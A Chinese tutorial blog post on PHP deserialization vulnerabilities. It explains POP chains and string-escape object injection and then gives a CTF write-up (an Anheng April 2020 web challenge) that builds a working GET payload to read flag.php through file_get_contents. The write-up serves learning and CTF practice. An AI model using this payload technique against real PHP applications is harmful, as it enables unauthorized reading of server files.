写在前边

  之前介绍了什么是序列化和反序列化,顺便演示了一个简单的反序列化漏洞,现在结合实战,开始填坑

  前篇:https://www.cnblogs.com/Lee-404/p/12771032.html

1.POP链

  POP,面向属性编程(Property-Oriented Programing),之前理解的序列化攻击多是在魔术方法中出现一些利用的漏洞,自动调用从而触发漏洞。但如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。

2.字符逃逸+POP链构造

  1)漏洞产生原因:

  序列化的字符串在经过过滤函数不正确的处理而导致对象注入,目前看到都是因为过滤函数放在了serialize函数之后,要是放在序列化之前应该就不会产生这个问题

  2)演示

  借用大佬的案例来演示一下 https://blog.csdn.net/assasin0308/article/details/103711024

<?php
function filter($string){
$a = str_replace('x','zz',$string);  //将字符串的x替换成zz
return $a;
} $username = "tr1ple";
$password = "aaaaax";
$user = array($username, $password);  //将username,password传入user数组 echo(serialize($user));  //序列化数组
echo "\n"; $r = filter(serialize($user));  //将序列化好的字符中的x替换成zz echo($r);
echo "\n"; var_dump(unserialize($r));
$a='a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";';
var_dump(unserialize($a)); ?> 

 PHP特性 

  1.PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的

  2.对类中不存在的属性也会进行反序列化

  上述案例,发现序列化后的的字符串变长了

  而且相对于

$a='a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";';

  其结果也能正常序列化,说明php在反序列化的时候只要求一个反序列化字符串块合法即可,当然得是第一个字符串块。

  如果能够利用filter函数这种由一个字符变为两个字符的特性来注入想要反序列化后得到的属性,使其可以逃逸出更多可用的字符串,那么我们就能反序列化得到我们想要的属性

  比如a:2:{i:0;s:6:"tr1ple";i:1;s:7:"233333";}是我们想要达到的效果,此时我们想要注入的payload明显为:

";i:1;s:7:"2333333";}

  这个长度为21,即注入一个x可以逃逸出一个字符的空位,那么我们只需要注入21个x即可变成42个z,即可逃逸出21个空位,从而将我们的payload变为反序列化后得到的属性值

  3)构造POP

$username = 'tr1plexxxxxxxxxxxxxxxxxxxxx";i:1;s:7:"1234567";}';
$password="aaaaa";
$user = array($username, $password);
echo(serialize($user)).'</br>'; $r = filter(serialize($user)); echo($r);
echo "\n";
var_dump(unserialize($r));

3.实战(2020安恒4月WEB1)

  访问,直接获取源码

<?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
} function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
} class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
} class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
} class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
} $a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));

   首先,盲目分析一波,大致看来一下,是POP+字符逃逸类型。用C类中的__toString()方法中的file_get_contents()来读取flag.php的源码,然后在B类中存在字符串的拼接操作$c = 'a'.$this->b; 此处的$b属性实例化为C对象即可触发__toString()方法。而题目只有对A对象的实例化,因此需要将A的属性实例化为B

<?php
class A{
public $username;
public $password;
} class B{
public $b = 'gqy';
} class C{
public $c;
} $a = new A();
$b = new B();
$c = new C();
$c->c = "flag.php";
$b->b = $c;
$a->username = "1";
$a->password = $b;
echo serialize($a);
?>
O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}

  构造POP链得到序列化后,接下来就是字符逃逸了,源码中只序列化$a,我们先只序列化A分析一下

<?php
class A{
public $username;
public $password;
} $a = new A();
$a->username=user;
$a->password=passwd;
echo serialize($a);
?>

  得到

O:1:"A":2:{s:8:"username";s::"user";s:8:"password";s:6:"passwd";}

  字符逃逸需要做的是通过字符串替换,让蓝色的长度为红色字部分的长度,这样就可以在本来的2的部分注入对象,然后进行反序列化。

function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
} function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

  可以看到,可以看到\0\0\0的长度为6,然后chr(0).'*'.chr(0)的长度为3,因此read()方法可以造成字符逃逸。

  在这里,我们需要逃逸的是

";s:8:"password";s:6:

  根据上边分析,看上去是要逃逸22个,但实际上,刚刚构造的 O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}是打在password里的,所以一定是大于10的,是两位数,实际上是要逃逸23个字符,

因为一组逃逸出三个字符,所以这里共需逃逸八组,也就是说a这个参数序列化后应该是 \0\0\0\0\0\0\0\0\0\0\0\0 (共12组\0)

O:1:"A":2{s:8:"username";s:48:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:72:"A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php"}}";}

  经过函数过滤

O:1:"A":2{s:8:"username";s:48:"********";s:8:"password";s:72:"A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php"}}";}  //实际上每个*后都有空格,被忽略了

  这时候应该加一个字符为了防止flag被吞可以看到,反序列化过程中,在读入username的值时,读入48位,从第一个 空*空 开始读,********";s:8:"password";s:72:"A (因为总逃逸的字符串有24位,需要逃逸的只有23位,这里加上一个A字符,凑成24位),发现原本的password属性被吞,但因为序列化字符串中类里面的变量数是2,所以此时继续读一个变量,读入我们传的password,也就是读出了我们希望传入的password,这时新对象即逃逸出来
  所以,最后的playload

?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php"}}

  传入后F12查看

参考链接:

    http://www.mamicode.com/info-detail-2990320.html

      https://blog.csdn.net/weixin_43610673/article/details/105754341

    https://www.gem-love.com/ctf/2275.html

      https://blog.csdn.net/assasin0308/article/details/103711024

如有错误请留言指出,谢谢

PHP反序列化漏洞总结(二)的更多相关文章

  1. WEBLOGIC 11G (10.3.6) windows PSU 升级10.3.6.0.171017(Java 反序列化漏洞升级)

    10.3.6版本的weblogic需要补丁到10.3.6.0.171017(2017年10月份的补丁,Java 反序列化漏洞升级),oracle官方建议至少打上2017年10月份补丁. 一.查看版本 ...

  2. 实战经验丨PHP反序列化漏洞总结

    又到了金三银四跳槽季,很多小伙伴都开始为面试做准备,今天小编就给大家分享一个网安常见的面试问题:PHP反序列化漏洞. 虽然PHP反序列化漏洞利用的条件比较苛刻,但是一旦被利用就会产生很严重的后果,所以 ...

  3. Java反序列化漏洞实现

    一.说明 以前去面试被问反序列化的原理只是笼统地答在参数中注入一些代码当其反序列化时被执行,其实“一些代码”是什么代码“反序列化”时为什么就会被执行并不懂:反来在运营商做乙方经常会因为java反反序列 ...

  4. weblogic系列漏洞整理 -- 4. weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271、CVE-2017-3506)

    目录 四. weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271) 0. 漏洞分析 1. 利用过程 2. 修复建议 一.weblogic安装 http://www.cnb ...

  5. java反序列化漏洞原理研习

    零.Java反序列化漏洞 java的安全问题首屈一指的就是反序列化漏洞,可以执行命令啊,甚至直接getshell,所以趁着这个假期好好研究一下java的反序列化漏洞.另外呢,组里多位大佬对反序列化漏洞 ...

  6. ref:PHP反序列化漏洞成因及漏洞挖掘技巧与案例

    ref:https://www.anquanke.com/post/id/84922 PHP反序列化漏洞成因及漏洞挖掘技巧与案例 一.序列化和反序列化 序列化和反序列化的目的是使得程序间传输对象会更加 ...

  7. Java反序列化漏洞的挖掘、攻击与防御

    一.Java反序列化漏洞的挖掘 1.黑盒流量分析: 在Java反序列化传送的包中,一般有两种传送方式,在TCP报文中,一般二进制流方式传输,在HTTP报文中,则大多以base64传输.因而在流量中有一 ...

  8. Jboss反序列化漏洞复现(CVE-2017-12149)

    Jboss反序列化漏洞复现(CVE-2017-12149) 一.漏洞描述 该漏洞为Java反序列化错误类型,存在于jboss的HttpInvoker组件中的ReadOnlyAccessFilter过滤 ...

  9. jboss反序列化漏洞复现(CVE-2017-7504)

    jboss反序列化漏洞复现(CVE-2017-7504) 一.漏洞描述 Jboss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HT ...

随机推荐

  1. Polya 定理相关题目

    参考知识链接   关于枚举旋转置换:   前两题都是枚举了 n 种旋转, 但这个可以优化到\(O(\sqrt{n})\) (这个其实是基本操作). 考虑到每个循环节的长度都是 n 的因数, 所以可以枚 ...

  2. 【swagger】C# 中 swagger 的使用及避坑

    @ 目录 1 安装 2 修改名称和版本号 3 显示说明 4 显示控制器注释及汉化 5 路由相同,查询参数不同的方法 6 忽略 Model 中的某些字段 7 传递 header 8 出错时的 HTTP ...

  3. 全网独家:成长经历分享 & 我为什么要写书?

    在当今高速发展的移动互联网+云优先的时代,到处充斥着不可预知的变化,有的来自于客户需求的变化,有的来自于市场环境的变化,面对着这些变化,给企业在市场.渠道.产品.服务各方面都带来了一系列新的挑战,每个 ...

  4. findbugs过滤R.java文件

    在第一次使用findbugs时检查出100多个Bad pratice,仔细一看原来全是R文件里面的类名首字母没有大写导致的. 于是只有自己在findbugs设置界面中添加过滤条件来忽略掉R文件. 在F ...

  5. JVM 理解性学习(一)

    重新学习,重新理解 1.类加载过程等 验证:.class 文件加载到 JVM 里的时候,会验证下该文件是否符合 JVM 规范. 准备:给实体类分配内存空间,以及给类变量(static 修饰)分配&qu ...

  6. 【第一章】黎姿的python学习笔记

  7. python 删除三天前的日志.py

    #获取所有文件def file(): for cur_dir, dirs, files in os.walk(r'/学习/接口自动化/BestTest/作业/logs'): # cur_dir(当前路 ...

  8. Redis cluster集群配置教程

    这里建议大家安装4.0.9版本的 1.打开Centos虚拟机,登陆. 2.通过WinSCP把Redis集群tar包上传到虚拟机里的目录里,我的目录是 /usr/local 这里我已经上传过了并解压了, ...

  9. 墨者学院靶场:uWSGI(CVE-2018-7490)路径遍历漏洞复现

    0x01漏洞简介 uWSGI是一款Web应用程序服务器,它实现了WSGI.uwsgi和http等协议.uWSGI 2.0.17之前版本中存在路径遍历漏洞,该漏洞源于程序没有正确的处理DOCUMENT_ ...

  10. python初学(一)

    1.输入一个百分制成绩,要求输出成绩等级A.B.C.D.E,其中90~100分为A,80~89分为B,70~79分为C,60~69分为D,60分以下为E. 要求:1)用if语句实现:2)输入百分制成绩 ...